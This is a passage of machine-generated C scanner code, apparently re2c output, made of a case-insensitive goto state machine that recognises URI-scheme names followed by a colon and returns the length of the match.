*(marker = ++p); switch (yych) { case 'A': case 'a': goto yy49; case 'I': case 'i': goto yy50; case 'L': case 'l': goto yy51; case 'N': case 'n': goto yy48; case 'O': case 'o': goto yy52; case 'T': case 't': goto yy53; case 'V': case 'v': goto yy54; default: goto yy2; } yy8: yych = *(marker = ++p); if (yych == 'D') goto yy55; if (yych == 'd') goto yy55; goto yy2; yy9: yych = *(marker = ++p); if (yych <= 'T') { if (yych <= 'E') { if (yych == 'A') goto yy56; if (yych <= 'D') goto yy2; goto yy57; } else { if (yych == 'I') goto yy58; if (yych <= 'S') goto yy2; goto yy59; } } else { if (yych <= 'e') { if (yych == 'a') goto yy56; if (yych <= 'd') goto yy2; goto yy57; } else { if (yych <= 'i') { if (yych <= 'h') goto yy2; goto yy58; } else { if (yych == 't') goto yy59; goto yy2; } } } yy10: yych = *(marker = ++p); switch (yych) { case 'E': case 'e': goto yy60; case 'G': case 'g': goto yy39; case 'I': case 'i': goto yy61; case 'O': case 'o': goto yy62; case 'T': case 't': goto yy63; default: goto yy2; } yy11: yych = *(marker = ++p); if (yych <= 'S') { if (yych <= '3') { if (yych <= '2') goto yy2; goto yy64; } else { if (yych == 'C') goto yy59; goto yy2; } } else { if (yych <= 'c') { if (yych <= 'T') goto yy65; if (yych <= 'b') goto yy2; goto yy59; } else { if (yych == 't') goto yy65; goto yy2; } } yy12: yych = *(marker = ++p); switch (yych) { case 'A': case 'a': goto yy66; case 'C': case 'c': goto yy67; case 'M': case 'm': goto yy68; case 'N': case 'n': goto yy69; case 'P': case 'p': goto yy70; case 'R': case 'r': goto yy71; case 'T': case 't': goto yy72; default: goto yy2; } yy13: yych = *(marker = ++p); if (yych <= 'M') { if (yych == 'A') goto yy73; if (yych <= 'L') goto yy2; goto yy48; } else { if (yych <= 'a') { if (yych <= '`') goto yy2; goto yy73; } else { if (yych == 'm') goto yy48; goto yy2; } } yy14: yych = *(marker = ++p); if (yych == 'E') goto yy74; if (yych == 'e') goto yy74; goto yy2; yy15: yych = *(marker = ++p); if (yych <= 'D') { if (yych == 'A') goto yy75; if (yych <= 'C') goto yy2; goto yy76; } else { if (yych <= 'a') { if (yych <= '`') goto yy2; goto yy75; } else { if (yych == 'd') goto yy76; goto yy2; } } yy16: yych = *(marker = ++p); switch (yych) { case 'A': case 'a': goto yy77; case 'E': case 'e': goto yy78; case 'I': case 'i': goto yy45; case 'M': case 'm': goto yy48; case 'S': case 's': goto yy79; case 'T': case 't': goto yy80; case 'U': case 'u': goto yy81; case 'V': case 'v': goto yy53; default: goto yy2; } yy17: yych = *(marker = ++p); switch (yych) { case 'E': case 'e': goto yy82; case 'F': case 'f': goto yy48; case 'I': case 'i': goto yy83; case 'N': case 'n': goto yy84; case 'O': case 'o': goto yy85; default: goto yy2; } yy18: yych = *(marker = ++p); if (yych <= 'P') { if (yych == 'I') goto yy45; if (yych <= 'O') goto yy2; goto yy86; } else { if (yych <= 'i') { if (yych <= 'h') goto yy2; goto yy45; } else { if (yych == 'p') goto yy86; goto yy2; } } yy19: yych = *(marker = ++p); switch (yych) { case 'A': case 'a': goto yy87; case 'L': case 'l': goto yy88; case 'O': case 'o': goto yy59; case 'R': case 'r': goto yy89; case 'S': case 's': goto yy90; default: goto yy2; } yy20: yych = *(marker = ++p); if (yych == 'U') goto yy91; if (yych == 'u') goto yy91; goto yy2; yy21: yych = *(marker = ++p); if (yych <= 'T') { if (yych <= 'L') { if (yych == 'E') goto yy92; goto yy2; } else { if (yych <= 'M') goto yy52; if (yych <= 'R') goto yy2; if (yych <= 'S') goto yy93; goto yy94; } } else { if (yych <= 'm') { if (yych == 'e') goto yy92; if (yych <= 'l') goto yy2; goto yy52; } else { if (yych <= 'r') goto yy2; if (yych <= 's') goto yy93; if (yych <= 't') goto yy94; goto yy2; } } yy22: yych = *(marker = ++p); switch (yych) { case 'E': case 'e': goto yy95; case 'F': case 'f': goto yy84; case 'G': case 'V': case 'g': case 'v': goto yy53; case 'H': case 'h': goto yy96; case 'I': case 'i': goto yy97; case 'K': case 'k': goto yy98; case 'M': case 'm': goto yy99; case 'N': case 'n': goto yy100; case 'O': case 'o': goto yy101; case 'P': case 'p': goto yy102; case 'S': case 's': goto yy103; case 'T': case 't': goto yy104; default: goto yy2; } yy23: yych = *(marker = ++p); switch (yych) { case 'A': case 'a': goto yy105; case 'E': case 'e': goto yy106; case 'F': case 'f': goto yy84; case 'H': case 'h': goto yy107; case 'I': case 'i': goto yy59; case 'N': case 'n': goto yy108; case 'V': case 'v': goto yy39; default: goto yy2; } yy24: yych = *(marker = ++p); if (yych <= 'T') { if (yych <= 'N') { if (yych == 'D') goto yy59; if (yych <= 'M') goto yy2; goto yy109; } else { if (yych == 'R') goto yy53; if (yych <= 'S') goto yy2; goto yy110; } } else { if (yych <= 'n') { if (yych == 'd') goto yy59; if (yych <= 'm') goto yy2; goto yy109; } else { if (yych <= 'r') { if (yych <= 'q') goto yy2; goto yy53; } else { if (yych == 't') goto yy110; goto yy2; } } } yy25: yych = *(marker = ++p); if (yych <= 'I') { if (yych == 'E') goto yy111; if (yych <= 'H') goto yy2; goto yy112; } else { if (yych <= 'e') { if (yych <= 'd') goto yy2; goto yy111; } else { if (yych == 'i') goto yy112; goto yy2; } } yy26: yych = *(marker = ++p); if (yych <= 'Y') { if (yych <= 'R') { if (yych == 'E') goto yy113; goto yy2; } else { if (yych <= 'S') goto yy114; if (yych <= 'T') goto yy115; if (yych <= 'X') goto yy2; goto yy116; } } else { if (yych <= 's') { if (yych == 'e') goto yy113; if (yych <= 'r') goto yy2; goto yy114; } else { if (yych <= 't') goto yy115; if (yych == 'y') goto yy116; goto yy2; } } yy27: yych = *(marker = ++p); if (yych <= 'R') { if (yych <= 'F') { if (yych == 'C') goto yy117; if (yych <= 'E') goto yy2; goto yy118; } else { if (yych == 'M') goto yy119; if (yych <= 'Q') goto yy2; goto yy52; } } else { if (yych <= 'f') { if (yych == 'c') goto yy117; if (yych <= 'e') goto yy2; goto yy118; } else { if (yych <= 'm') { if (yych <= 'l') goto yy2; goto yy119; } else { if (yych == 'r') goto yy52; goto yy2; } } } yy28: yych = *(marker = ++p); if (yych == 'M') goto yy120; if (yych == 'm') goto yy120; goto yy2; yy29: yych = *(marker = ++p); if (yych == '3') goto yy121; goto yy2; yy30: yych = *++p; if (yych == 'A') goto yy114; if (yych == 'a') goto yy114; yy31: p = marker; goto yy2; yy32: yych = *++p; if (yych == 'O') goto yy122; if (yych == 'o') goto yy122; goto yy31; yy33: yych = *++p; if (yych == 'A') goto yy59; if (yych == 'a') goto yy59; goto yy31; yy34: yych = *++p; if (yych == 'I') goto yy123; if (yych == 'i') goto yy123; goto yy31; yy35: yych = *++p; if (yych <= 'S') { if (yych == 'P') goto yy39; if (yych <= 'R') goto yy31; goto yy39; } else { if (yych <= 'p') { if (yych <= 'o') goto yy31; goto yy39; } else { if (yych == 's') goto yy39; goto yy31; } } yy36: yych = *++p; if (yych == 'M') goto yy39; if (yych == 'm') goto yy39; goto yy31; yy37: yych = *++p; if (yych == 'T') goto yy39; if (yych == 't') goto yy39; goto yy31; yy38: yych = *++p; if (yych == 'T') goto yy124; if (yych == 't') goto yy124; goto yy31; yy39: yych = *++p; if (yych == ':') goto yy125; goto yy31; yy40: yych = *++p; if (yych == 'S') goto yy127; if (yych == 's') goto yy127; goto yy31; yy41: yych = *++p; if (yych == 'T') goto yy128; if (yych == 't') goto yy128; goto yy31; yy42: yych = *++p; if (yych == 'L') goto yy60; if (yych == 'l') goto yy60; goto yy31; yy43: yych = *++p; if (yych <= 'P') { if (yych == 'L') goto yy129; if (yych <= 'O') goto yy31; goto yy39; } else { if (yych <= 'l') { if (yych <= 'k') goto yy31; goto yy129; } else { if (yych == 'p') goto yy39; goto yy31; } } yy44: yych = *++p; if (yych == 'R') goto yy130; if (yych == 'r') goto yy130; goto yy31; yy45: yych = *++p; if (yych == 'D') goto yy39; if (yych == 'd') goto yy39; goto yy31; yy46: yych = *++p; if (yych <= 'N') { if (yych <= 'A') { if (yych <= '@') goto yy31; goto yy59; } else { if (yych <= 'L') goto yy31; if (yych <= 'M') goto yy131; goto yy132; } } else { if (yych <= 'l') { if (yych == 'a') goto yy59; goto yy31; } else { if (yych <= 'm') goto yy131; if (yych <= 'n') goto yy132; goto yy31; } } yy47: yych = *++p; if (yych == 'I') goto yy45; if (yych == 'i') goto yy45; goto yy31; yy48: yych = *++p; if (yych == 'S') goto yy39; if (yych == 's') goto yy39; goto yy31; yy49: yych = *++p; if (yych <= 'V') { if (yych == 'T') goto yy133; if (yych <= 'U') goto yy31; goto yy39; } else { if (yych <= 't') { if (yych <= 's') goto yy31; goto yy133; } else { if (yych == 'v') goto yy39; goto yy31; } } yy50: yych = *++p; if (yych == 'C') goto yy37; if (yych == 'c') goto yy37; goto yy31; yy51: yych = *++p; if (yych == 'N') goto yy134; if (yych == 'n') goto yy134; goto yy31; yy52: yych = *++p; if (yych == 'I') goto yy39; if (yych == 'i') goto yy39; goto yy31; yy53: yych = *++p; if (yych == 'N') goto yy39; if (yych == 'n') goto yy39; goto yy31; yy54: yych = *++p; if (yych == 'B') goto yy39; if (yych == 'b') goto yy39; goto yy31; yy55: yych = *++p; if (yych == '2') goto yy135; goto yy31; yy56: yych = *++p; if (yych == 'C') goto yy136; if (yych == 'c') goto yy136; goto yy31; yy57: yych = *++p; if (yych == 'E') goto yy45; if (yych == 'e') goto yy45; goto yy31; yy58: yych = *++p; if (yych <= 'S') { if (yych <= 'M') { if (yych == 'L') goto yy137; goto yy31; } else { if (yych <= 'N') goto yy138; if (yych <= 'R') goto yy31; goto yy103; } } else { if (yych <= 'm') { if (yych == 'l') goto yy137; goto yy31; } else { if (yych <= 'n') goto yy138; if (yych == 's') goto yy103; goto yy31; } } yy59: yych = *++p; if (yych == 'P') goto yy39; if (yych == 'p') goto yy39; goto yy31; yy60: yych = *++p; if (yych == 'O') goto yy39; if (yych == 'o') goto yy39; goto yy31; yy61: yych = *++p; if (yych <= 'Z') { if (yych == 'T') goto yy39; if (yych <= 'Y') goto yy31; goto yy139; } else { if (yych <= 't') { if (yych <= 's') goto yy31; goto yy39; } else { if (yych == 'z') goto yy139; goto yy31; } } yy62: yych = *++p; if (yych <= 'O') { if (yych == ':') goto yy125; goto yy31; } else { if (yych <= 'P') goto yy140; if (yych == 'p') goto yy140; goto yy31; } yy63: yych = *++p; if (yych == 'A') goto yy141; if (yych == 'a') goto yy141; goto yy31; yy64: yych = *++p; if (yych == '2') goto yy142; goto yy31; yy65: yych = *++p; if (yych == 'T') goto yy143; if (yych == 't') goto yy143; goto yy31; yy66: yych = *++p; if (yych == 'X') goto yy39; if (yych == 'x') goto yy39; goto yy31; yy67: yych = *++p; if (yych <= 'O') { if (yych == 'A') goto yy59; if (yych <= 'N') goto yy31; goto yy53; } else { if (yych <= 'a') { if (yych <= '`') goto yy31; goto yy59; } else { if (yych == 'o') goto yy53; goto yy31; } } yy68: yych = *++p; if (yych <= '@') { if (yych == ':') goto yy125; goto yy31; } else { if (yych <= 'A') goto yy59; if (yych == 'a') goto yy59; goto yy31; } yy69: yych = *++p; if (yych == 'F') goto yy60; if (yych == 'f') goto yy60; goto yy31; yy70: yych = *++p; if (yych <= 'P') { if (yych == 'N') goto yy39; if (yych <= 'O') goto yy31; goto yy39; } else { if (yych <= 'n') { if (yych <= 'm') goto yy31; goto yy39; } else { if (yych == 'p') goto yy39; goto yy31; } } yy71: yych = *++p; if (yych <= 'I') { if (yych == 'C') goto yy144; if (yych <= 'H') goto yy31; goto yy145; } else { if (yych <= 'c') { if (yych <= 'b') goto yy31; goto yy144; } else { if (yych == 'i') goto yy145; goto yy31; } } yy72: yych = *++p; if (yych == 'M') goto yy48; if (yych == 'm') goto yy48; goto yy31; yy73: yych = *++p; if (yych <= 'V') { if (yych == 'R') goto yy39; if (yych <= 'U') goto yy31; goto yy146; } else { if (yych <= 'r') { if (yych <= 'q') goto yy31; goto yy39; } else { if (yych == 'v') goto yy146; goto yy31; } } yy74: yych = *++p; if (yych == 'Y') goto yy147; if (yych == 'y') goto yy147; goto yy31; yy75: yych = *++p; if (yych == 'S') goto yy148; if (yych == 's') goto yy148; goto yy31; yy76: yych = *++p; if (yych == 'A') goto yy143; if (yych == 'a') goto yy143; goto yy31; yy77: yych = *++p; switch (yych) { case 'G': case 'g': goto yy149; case 'I': case 'i': goto yy129; case 'P': case 'p': goto yy48; case 'R': case 'r': goto yy150; default: goto yy31; } yy78: yych = *++p; if (yych == 'S') goto yy151; if (yych == 's') goto yy151; goto yy31; yy79: yych = *++p; if (yych <= 'Q') { if (yych <= '-') { if (yych <= ',') goto yy31; goto yy152; } else { if (yych == 'N') goto yy153; goto yy31; } } else { if (yych <= 'n') { if (yych <= 'R') goto yy143; if (yych <= 'm') goto yy31; goto yy153; } else { if (yych == 'r') goto yy143; goto yy31; } } yy80: yych = *++p; if (yych == 'Q') goto yy59; if (yych == 'q') goto yy59; goto yy31; yy81: yych = *++p; if (yych <= 'P') { if (yych == 'M') goto yy154; if (yych <= 'O') goto yy31; goto yy155; } else { if (yych <= 'm') { if (yych <= 'l') goto yy31; goto yy154; } else { if (yych == 'p') goto yy155; goto yy31; } } yy82: yych = *++p; if (yych == 'W') goto yy48; if (yych == 'w') goto yy48; goto yy31; yy83: yych = *++p; if (yych <= 'G') { if (yych == ':') goto yy125; goto yy31; } else { if (yych <= 'H') goto yy39; if (yych == 'h') goto yy39; goto yy31; } yy84: yych = *++p; if (yych == 'T') goto yy59; if (yych == 't') goto yy59; goto yy31; yy85: yych = *++p; if (yych == 'T') goto yy156; if (yych == 't') goto yy156; goto yy31; yy86: yych = *++p; if (yych == 'A') goto yy157; if (yych == 'a') goto yy157; goto yy31; yy87: yych = *++p; if (yych <= 'P') { if (yych == 'L') goto yy36; if (yych <= 'O') goto yy31; goto yy158; } else { if (yych <= 'l') { if (yych <= 'k') goto yy31; goto yy36; } else { if (yych == 'p') goto yy158; goto yy31; } } yy88: yych = *++p; if (yych == 'A') goto yy159; if (yych == 'a') goto yy159; goto yy31; yy89: yych = *++p; if (yych <= 'O') { if (yych == 'E') goto yy48; if (yych <= 'N') goto yy31; goto yy160; } else { if (yych <= 'e') { if (yych <= 'd') goto yy31; goto yy48; } else { if (yych == 'o') goto yy160; goto yy31; } } yy90: yych = *++p; if (yych == 'Y') goto yy161; if (yych == 'y') goto yy161; goto yy31; yy91: yych = *++p; if (yych == 'E') goto yy162; if (yych == 'e') goto yy162; goto yy31; yy92: yych = *++p; if (yych == 'S') goto yy163; if (yych == 's') goto yy163; goto yy31; yy93: yych = *++p; if (yych == 'Y') goto yy164; if (yych == 'y') goto yy164; goto yy31; yy94: yych = *++p; if (yych <= 'S') { if (yych == 'M') goto yy59; if (yych <= 'R') goto yy31; goto yy59; } else { if (yych <= 'm') { if (yych <= 'l') goto yy31; goto yy59; } else { if (yych == 's') goto yy59; goto yy31; } } yy95: yych = *++p; if (yych <= 'S') { if (yych <= 'C') { if (yych <= 'B') goto yy31; goto yy165; } else { if (yych <= 'Q') goto yy31; if (yych <= 'R') goto yy166; goto yy167; } } else { if (yych <= 'q') { if (yych == 'c') goto yy165; goto yy31; } else { if (yych <= 'r') goto yy166; if (yych <= 's') goto yy167; goto yy31; } } yy96: yych = *++p; if (yych == 'T') goto yy84; if (yych == 't') goto yy84; goto yy31; yy97: yych = *++p; if (yych <= 'P') { if (yych == 'E') goto yy168; if (yych <= 'O') goto yy31; goto yy114; } else { if (yych <= 'e') { if (yych <= 'd') goto yy31; goto yy168; } else { if (yych == 'p') goto yy114; goto yy31; } } yy98: yych = *++p; if (yych == 'Y') goto yy169; if (yych == 'y') goto yy169; goto yy31; yy99: yych = *++p; if (yych <= 'S') { if (yych == 'B') goto yy39; if (yych <= 'R') goto yy31; goto yy39; } else { if (yych <= 'b') { if (yych <= 'a') goto yy31; goto yy39; } else { if (yych == 's') goto yy39; goto yy31; } } yy100: yych = *++p; if (yych == 'M') goto yy59; if (yych == 'm') goto yy59; goto yy31; yy101: yych = *++p; if (yych <= 'L') { if (yych == 'A') goto yy170; if (yych <= 'K') goto yy31; goto yy171; } else { if (yych <= 'a') { if (yych <= '`') goto yy31; goto yy170; } else { if (yych == 'l') goto yy171; goto yy31; } } yy102: yych = *++p; if (yych == 'O') goto yy172; if (yych == 'o') goto yy172; goto yy31; yy103: yych = *++p; if (yych == 'H') goto yy39; if (yych == 'h') goto yy39; goto yy31; yy104: yych = *++p; if (yych == 'E') goto yy173; if (yych == 'e') goto yy173; goto yy31; yy105: yych = *++p; if (yych == 'G') goto yy39; if (yych == 'g') goto yy39; goto yy31; yy106: yych = *++p; if (yych <= 'L') { if (yych == 'A') goto yy174; if (yych <= 'K') goto yy31; goto yy175; } else { if (yych <= 'a') { if (yych <= '`') goto yy31; goto yy174; } else { if (yych == 'l') goto yy175; goto yy31; } } yy107: yych = *++p; if (yych == 'I') goto yy176; if (yych == 'i') goto yy176; goto yy31; yy108: yych = *++p; if (yych == '3') goto yy177; goto yy31; yy109: yych = *++p; if (yych == 'R') goto yy178; if (yych == 'r') goto yy178; goto yy31; yy110: yych = *++p; if (yych == '2') goto yy179; goto yy31; yy111: yych = *++p; if (yych <= 'N') { if (yych <= 'L') goto yy31; if (yych <= 'M') goto yy180; goto yy181; } else { if (yych <= 'l') goto yy31; if (yych <= 'm') goto yy180; if (yych <= 'n') goto yy181; goto yy31; } yy112: yych = *++p; if (yych == 'E') goto yy182; if (yych == 'e') goto yy182; goto yy31; yy113: yych = *++p; if (yych == 'B') goto yy183; if (yych == 'b') goto yy183; goto yy31; yy114: yych = *++p; if (yych <= 'R') { if (yych == ':') goto yy125; goto yy31; } else { if (yych <= 'S') goto yy39; if (yych == 's') goto yy39; goto yy31; } yy115: yych = *++p; if (yych == 'A') goto yy52; if (yych == 'a') goto yy52; goto yy31; yy116: yych = *++p; if (yych == 'C') goto yy184; if (yych == 'c') goto yy184; goto yy31; yy117: yych = *++p; if (yych == 'O') goto yy185; if (yych == 'o') goto yy185; goto yy31; yy118: yych = *++p; if (yych == 'I') goto yy186; if (yych == 'i') goto yy186; goto yy31; yy119: yych = *++p; if (yych <= 'P') { if (yych == 'L') goto yy187; if (yych <= 'O') goto yy31; goto yy59; } else { if (yych <= 'l') { if (yych <= 'k') goto yy31; goto yy187; } else { if (yych == 'p') goto yy59; goto yy31; } } yy120: yych = *++p; if (yych == 'S') goto yy188; if (yych == 's') goto yy188; goto yy31; yy121: yych = *++p; if (yych == '9') goto yy189; goto yy31; yy122: yych = *++p; if (yych == 'U') goto yy37; if (yych == 'u') goto yy37; goto yy31; yy123: yych = *++p; if (yych == 'U') goto yy190; if (yych == 'u') goto yy190; goto yy31; yy124: yych = *++p; if (yych == 'A') goto yy191; if (yych == 'a') goto yy191; goto yy31; yy125: yych = *++p; if (yybm[0+yych] & 128) { goto yy125; } if (yych <= '<') goto yy31; goto yy192; yy127: yych = *++p; if (yych == 'H') goto yy194; if (yych == 'h') goto yy194; goto yy31; yy128: yych = *++p; if (yych == 'C') goto yy195; if (yych == 'c') goto yy195; goto yy31; yy129: yych = *++p; if (yych == 'L') goto yy196; if (yych == 'l') goto yy196; goto yy31; yy130: yych = *++p; if (yych == 'O') goto yy197; if (yych == 'o') goto yy197; goto yy31; yy131: yych = *++p; if (yych == '-') goto yy198; goto yy31; yy132: yych = *++p; if (yych == 'T') goto yy199; if (yych == 't') goto yy199; goto yy31; yy133: yych = *++p; if (yych == 'A') goto yy39; if (yych == 'a') goto yy39; goto yy31; yy134: yych = *++p; if (yych == 'A') goto yy200; if (yych == 'a') goto yy200; goto yy31; yy135: yych = *++p; if (yych == 'K') goto yy39; if (yych == 'k') goto yy39; goto yy31; yy136: yych = *++p; if (yych == 'E') goto yy201; if (yych == 'e') goto yy201; goto yy31; yy137: yych = *++p; if (yych == 'E') goto yy39; if (yych == 'e') goto yy39; goto yy31; yy138: yych = *++p; if (yych == 'G') goto yy202; if (yych == 'g') goto yy202; goto yy31; yy139: yych = *++p; if (yych == 'M') goto yy203; if (yych == 'm') goto yy203; goto yy31; yy140: yych = *++p; if (yych == 'H') goto yy202; if (yych == 'h') goto yy202; goto yy31; yy141: yych = *++p; if (yych == 'L') goto yy135; if (yych == 'l') goto yy135; goto yy31; yy142: yych = *++p; if (yych == '3') goto yy39; goto yy31; yy143: yych = *++p; if (yych == 'P') goto yy114; if (yych == 'p') goto yy114; goto yy31; yy144: yych = *++p; if (yych <= ':') { if (yych == '6') goto yy39; if (yych <= '9') goto yy31; goto yy125; } else { if (yych <= 'S') { if (yych <= 'R') goto yy31; goto yy39; } else { if (yych == 's') goto yy39; goto yy31; } } yy145: yych = *++p; if (yych == 'S') goto yy204; if (yych == 's') goto yy204; goto yy31; yy146: yych = *++p; if (yych == 'A') goto yy205; if (yych == 'a') goto yy205; goto yy31; yy147: yych = *++p; if (yych == 'P') goto yy206; if (yych == 'p') goto yy206; goto yy31; yy148: yych = *++p; if (yych == 'T') goto yy207; if (yych == 't') goto yy207; goto yy31; yy149: yych = *++p; if (yych == 'N') goto yy208; if (yych == 'n') goto yy208; goto yy31; yy150: yych = *++p; if (yych == 'K') goto yy208; if (yych == 'k') goto yy208; goto yy31; yy151: yych = *++p; if (yych == 'S') goto yy209; if (yych == 's') goto yy209; goto yy31; yy152: yych = *++p; if (yych == 'H') goto yy210; if (yych == 'h') goto yy210; goto yy31; yy153: yych = *++p; if (yych == 'I') goto yy36; if (yych == 'i') goto yy36; goto yy31; yy154: yych = *++p; if (yych == 'B') goto yy211; if (yych == 'b') goto yy211; goto yy31; yy155: yych = *++p; if (yych == 'D') goto yy212; if (yych == 'd') goto yy212; goto yy31; yy156: yych = *++p; if (yych == 'E') goto yy48; if (yych == 'e') goto yy48; goto yy31; yy157: yych = *++p; if (yych == 'Q') goto yy213; if (yych == 'q') goto yy213; goto yy31; yy158: yych = *++p; if (yych == 'A') goto yy214; if (yych == 'a') goto yy214; goto yy31; yy159: yych = *++p; if (yych == 'T') goto yy215; if (yych == 't') goto yy215; goto yy31; yy160: yych = *++p; if (yych == 'X') goto yy216; if (yych == 'x') goto yy216; goto yy31; yy161: yych = *++p; if (yych == 'C') goto yy39; if (yych == 'c') goto yy39; goto yy31; yy162: yych = *++p; if (yych == 'R') goto yy216; if (yych == 'r') goto yy216; goto yy31; yy163: yych = *++p; if (yych <= 'N') { if (yych == ':') goto yy125; goto yy31; } else { if (yych <= 'O') goto yy217; if (yych == 'o') goto yy217; goto yy31; } yy164: yych = *++p; if (yych == 'N') goto yy161; if (yych == 'n') goto yy161; goto yy31; yy165: yych = *++p; if (yych == 'O') goto yy218; if (yych == 'o') goto yy218; goto yy31; yy166: yych = *++p; if (yych == 'V') goto yy219; if (yych == 'v') goto yy219; goto yy31; yy167: yych = *++p; if (yych == 'S') goto yy220; if (yych == 's') goto yy220; goto yy31; yy168: yych = *++p; if (yych == 'V') goto yy137; if (yych == 'v') goto yy137; goto yy31; yy169: yych = *++p; if (yych == 'P') goto yy137; if (yych == 'p') goto yy137; goto yy31; yy170: yych = *++p; if (yych == 'P') goto yy221; if (yych == 'p') goto yy221; goto yy31; yy171: yych = *++p; if (yych == 'D') goto yy222; if (yych == 'd') goto yy222; goto yy31; yy172: yych = *++p; if (yych == 'T') goto yy223; if (yych == 't') goto yy223; goto yy31; yy173: yych = *++p; if (yych == 'A') goto yy36; if (yych == 'a') goto yy36; goto yy31; yy174: yych = *++p; if (yych == 'M') goto yy224; if (yych == 'm') goto yy224; goto yy31; yy175: yych = *++p; if (yych <= 'M') { if (yych == ':') goto yy125; goto yy31; } else { if (yych <= 'N') goto yy208; if (yych == 'n') goto yy208; goto yy31; } yy176: yych = *++p; if (yych <= 'S') { if (yych == 'N') goto yy225; if (yych <= 'R') goto yy31; goto yy226; } else { if (yych <= 'n') { if (yych <= 'm') goto yy31; goto yy225; } else { if (yych == 's') goto yy226; goto yy31; } } yy177: yych = *++p; if (yych == '2') goto yy227; goto yy31; yy178: yych = *++p; if (yych == 'E') goto yy228; if (yych == 'e') goto yy228; goto yy31; yy179: yych = *++p; if (yych == '0') goto yy229; goto yy31; yy180: yych = *++p; if (yych == 'M') goto yy52; if (yych == 'm') goto yy52; goto yy31; yy181: yych = *++p; if (yych == 'T') goto yy230; if (yych == 't') goto yy230; goto yy31; yy182: yych = *++p; if (yych == 'W') goto yy231; if (yych == 'w') goto yy231; goto yy31; yy183: yych = *++p; if (yych == 'C') goto yy228; if (yych == 'c') goto yy228; goto yy31; yy184: yych = *++p; if (yych == 'I') goto yy232; if (yych == 'i') goto yy232; goto yy31; yy185: yych = *++p; if (yych == 'N') goto yy233; if (yych == 'n') goto yy233; goto yy31; yy186: yych = *++p; if (yych == 'R') goto yy137; if (yych == 'r') goto yy137; goto yy31; yy187: yych = *++p; if (yych == 'R') goto yy234; if (yych == 'r') goto yy234; goto yy31; yy188: yych = *++p; if (yych == 'G') goto yy235; if (yych == 'g') goto yy235; goto yy31; yy189: yych = *++p; if (yych == '.') goto yy236; goto yy31; yy190: yych = *++p; if (yych == 'M') goto yy237; if (yych == 'm') goto yy237; goto yy31; yy191: yych = *++p; if (yych == 'C') goto yy238; if (yych == 'c') goto yy238; goto yy31; yy192: ++p; { return (p - start); } yy194: yych = *++p; if (yych == 'A') goto yy186; if (yych == 'a') goto yy186; goto yy31; yy195: yych = *++p; if (yych == 'O') goto yy239; if (yych == 'o') goto yy239; goto yy31; yy196: yych = *++p; if (yych == 'T') goto yy60; if (yych == 't') goto yy60; goto yy31; yy197: yych = *++p; if (yych == 'M') goto yy240; if (yych == 'm') goto yy240; goto yy31; yy198: yych = *++p; if (yych == 'E') goto yy241; if (yych == 'e') goto yy241; goto yy31; yy199: yych = *++p; if (yych == 'E') goto yy242; if (yych == 'e') goto yy242; goto yy31; yy200: yych = *++p; if (yych == '-') goto yy243; goto yy31; yy201: yych = *++p; if (yych == 'T') goto yy244; if (yych == 't') goto yy244; goto yy31; yy202: yych = *++p; if (yych == 'E') goto yy235; if (yych == 'e') goto yy235; goto yy31; yy203: yych = *++p; if (yych == 'O') goto yy245; if (yych == 'o') goto yy245; goto yy31; yy204: yych = *++p; if (yych == '.') goto yy246; if (yych == ':') goto yy125; goto yy31; yy205: yych = *++p; if (yych == 'S') goto yy247; if (yych == 's') goto yy247; goto yy31; yy206: yych = *++p; if (yych == 'A') goto yy248; if (yych == 'a') goto yy248; goto yy31; yy207: yych = *++p; if (yych == 'F') goto yy36; if (yych == 'f') goto yy36; goto yy31; yy208: yych = *++p; if (yych == 'E') goto yy37; if (yych == 'e') goto yy37; goto yy31; yy209: yych = *++p; if (yych == 'A') goto yy249; if (yych == 'a') goto yy249; goto yy31; yy210: yych = *++p; if (yych == 'E') goto yy250; if (yych == 'e') goto yy250; goto yy31; yy211: yych = *++p; if (yych == 'L') goto yy137; if (yych == 'l') goto yy137; goto yy31; yy212: yych = *++p; if (yych == 'A') goto yy251; if (yych == 'a') goto yy251; goto yy31; yy213: yych = *++p; if (yych == 'U') goto yy252; if (yych == 'u') goto yy252; goto yy31; yy214: yych = *++p; if (yych == 'R') goto yy253; if (yych == 'r') goto yy253; goto yy31; yy215: yych = *++p; if (yych == 'F') goto yy254; if (yych == 'f') goto yy254; goto yy31; yy216: yych = *++p; if (yych == 'Y') goto yy39; if (yych == 'y') goto yy39; goto yy31; yy217: yych = *++p; if (yych == 'U') goto yy255; if (yych == 'u') goto yy255; goto yy31; yy218: yych = *++p; if (yych == 'N') goto yy256; if (yych == 'n') goto yy256; goto yy31; yy219: yych = *++p; if (yych == 'I') goto yy257; if (yych == 'i') goto yy257; goto yy31; yy220: yych = *++p; if (yych == 'I') goto yy258; if (yych == 'i') goto yy258; goto yy31; yy221: yych = *++p; if (yych == '.') goto yy259; goto yy31; yy222: yych = *++p; if (yych == 'A') goto yy37; if (yych == 'a') goto yy37; goto yy31; yy223: yych = *++p; if (yych == 'I') goto yy260; if (yych == 'i') goto yy260; goto yy31; yy224: yych = *++p; if (yych == 'S') goto yy261; if (yych == 's') goto yy261; goto yy31; yy225: yych = *++p; if (yych == 'G') goto yy48; if (yych == 'g') goto yy48; goto yy31; yy226: yych = *++p; if (yych == 'M') goto yy262; if (yych == 'm') goto yy262; goto yy31; yy227: yych = *++p; if (yych == '7') goto yy263; goto yy31; yy228: yych = *++p; if (yych == 'A') goto yy264; if (yych == 'a') goto yy264; goto yy31; yy229: yych = *++p; if (yych == '0') goto yy265; goto yy31; yy230: yych = *++p; if (yych == 'R') goto yy266; if (yych == 'r') goto yy266; goto yy31; yy231: yych = *++p; if (yych == '-') goto yy267; goto yy31; yy232: yych = *++p; if (yych == 'W') goto yy268; if (yych == 'w') goto yy268; goto yy31; yy233: yych = *++p; if (yych == '-') goto yy269; if (yych == ':') goto yy125; goto yy31; yy234: yych = *++p; if (yych == 'P') goto yy270; if (yych == 'p') goto yy270; goto yy31; yy235: yych = *++p; if (yych == 'R') goto yy39; if (yych == 'r') goto yy39; goto yy31; yy236: yych = *++p; if (yych == '5') goto yy271; goto yy31; yy237: yych = *++p; if (yych == 'X') goto yy272; if (yych == 'x') goto yy272; goto yy31; yy238: yych = *++p; if (yych == 'H') goto yy273; if (yych == 'h') goto yy273; goto yy31; yy239: yych = *++p; if (yych == 'I') goto yy53; if (yych == 'i') goto yy53; goto yy31; yy240: yych = *++p; if (yych == 'E') goto yy274; if (yych == 'e') goto yy274; goto yy31; yy241: yych = *++p; if (yych == 'V') goto yy275; if (yych == 'v') goto yy275; goto yy31; yy242: yych = *++p; if (yych == 'N') goto yy37; if (yych == 'n') goto yy37; goto yy31; yy243: yych = *++p; if (yych == 'P') goto yy276; if (yych == 'p') goto yy276; goto yy31; 